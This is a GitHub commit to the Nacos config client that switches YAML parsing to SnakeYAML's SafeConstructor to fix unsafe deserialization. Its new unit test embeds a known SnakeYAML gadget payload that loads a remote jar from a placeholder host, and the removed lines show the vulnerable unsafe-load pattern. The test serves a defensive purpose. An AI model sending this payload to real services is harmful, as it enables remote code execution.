Use SafeConstructor to parse yaml configuration for AbstractConfigCha…

…ngeListener (#4753)
alibaba · Jan 20, 2021 · a67f6b5 · a67f6b5
1 parent d462eaa
commit a67f6b5
Show file tree

Hide file tree

Showing 3 changed files with 38 additions and 9 deletions.
diff --git a/.gitignore b/.gitignore
@@ -16,3 +16,4 @@ work
 test/logs
 derby.log
 yarn.lock
+.flattened-pom.xml
diff --git a/client/src/main/java/com/alibaba/nacos/client/config/impl/YmlChangeParser.java b/client/src/main/java/com/alibaba/nacos/client/config/impl/YmlChangeParser.java
@@ -17,8 +17,12 @@
 package com.alibaba.nacos.client.config.impl;
 
 import com.alibaba.nacos.api.config.ConfigChangeItem;
+import com.alibaba.nacos.api.exception.NacosException;
+import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
 import com.alibaba.nacos.common.utils.StringUtils;
 import org.yaml.snakeyaml.Yaml;
+import org.yaml.snakeyaml.constructor.ConstructorException;
+import org.yaml.snakeyaml.constructor.SafeConstructor;
 
 import java.util.Collection;
 import java.util.Collections;
@@ -33,6 +37,8 @@
  */
 public class YmlChangeParser extends AbstractConfigChangeParser {
 
+    private static final String INVALID_CONSTRUCTOR_ERROR_INFO = "could not determine a constructor for the tag";
+
     public YmlChangeParser() {
         super("yaml");
     }
@@ -41,20 +47,34 @@ public YmlChangeParser() {
     public Map<String, ConfigChangeItem> doParse(String oldContent, String newContent, String type) {
         Map<String, Object> oldMap = Collections.emptyMap();
         Map<String, Object> newMap = Collections.emptyMap();
-
-        if (StringUtils.isNotBlank(oldContent)) {
-            oldMap = (new Yaml()).load(oldContent);
-            oldMap = getFlattenedMap(oldMap);
-        }
-        if (StringUtils.isNotBlank(newContent)) {
-            newMap = (new Yaml()).load(newContent);
-            newMap = getFlattenedMap(newMap);
+        try {
+            Yaml yaml = new Yaml(new SafeConstructor());
+            if (StringUtils.isNotBlank(oldContent)) {
+                oldMap = yaml.load(oldContent);
+                oldMap = getFlattenedMap(oldMap);
+            }
+            if (StringUtils.isNotBlank(newContent)) {
+                newMap = yaml.load(newContent);
+                newMap = getFlattenedMap(newMap);
+            }
+        } catch (ConstructorException e) {
+            handleYamlException(e);
         }
 
         return filterChangeData(oldMap, newMap);
     }
 
-    private final Map<String, Object> getFlattenedMap(Map<String, Object> source) {
+    private void handleYamlException(ConstructorException e) {
+        if (e.getMessage().startsWith(INVALID_CONSTRUCTOR_ERROR_INFO)) {
+            throw new NacosRuntimeException(NacosException.INVALID_PARAM,
+                    "AbstractConfigChangeListener only support basic java data type for yaml. If you want to listen "
+                            + "key changes for custom classes, please use `Listener` to listener whole yaml configuration and parse it by yourself.",
+                    e);
+        }
+        throw e;
+    }
+
+    private Map<String, Object> getFlattenedMap(Map<String, Object> source) {
         Map<String, Object> result = new LinkedHashMap<String, Object>(128);
         buildFlattenedMap(result, source, null);
         return result;

diff --git a/client/src/test/java/com/alibaba/nacos/client/config/listener/impl/YmlChangeParserTest.java b/client/src/test/java/com/alibaba/nacos/client/config/listener/impl/YmlChangeParserTest.java
@@ -17,6 +17,7 @@
 package com.alibaba.nacos.client.config.listener.impl;
 
 import com.alibaba.nacos.api.config.ConfigChangeItem;
+import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
 import com.alibaba.nacos.client.config.impl.YmlChangeParser;
 import org.junit.Assert;
 import org.junit.Test;
@@ -55,5 +56,12 @@ public void testModifyKey() throws IOException {
         Assert.assertEquals("rocketMQ", map.get("app.name").getOldValue());
         Assert.assertEquals("nacos", map.get("app.name").getNewValue());
     }
+
+    @Test(expected = NacosRuntimeException.class)
+    public void testChangeInvalidKey() {
+        parser.doParse("anykey:\n  a", "anykey: !!javax.script.ScriptEngineManager [\n"
+                + "  !!java.net.URLClassLoader [[\n"
+                + "    !!java.net.URL [\"http://[yourhost]:[port]/yaml-payload.jar\"]\n" + "  ]]\n" + "]", type);
+    }
 }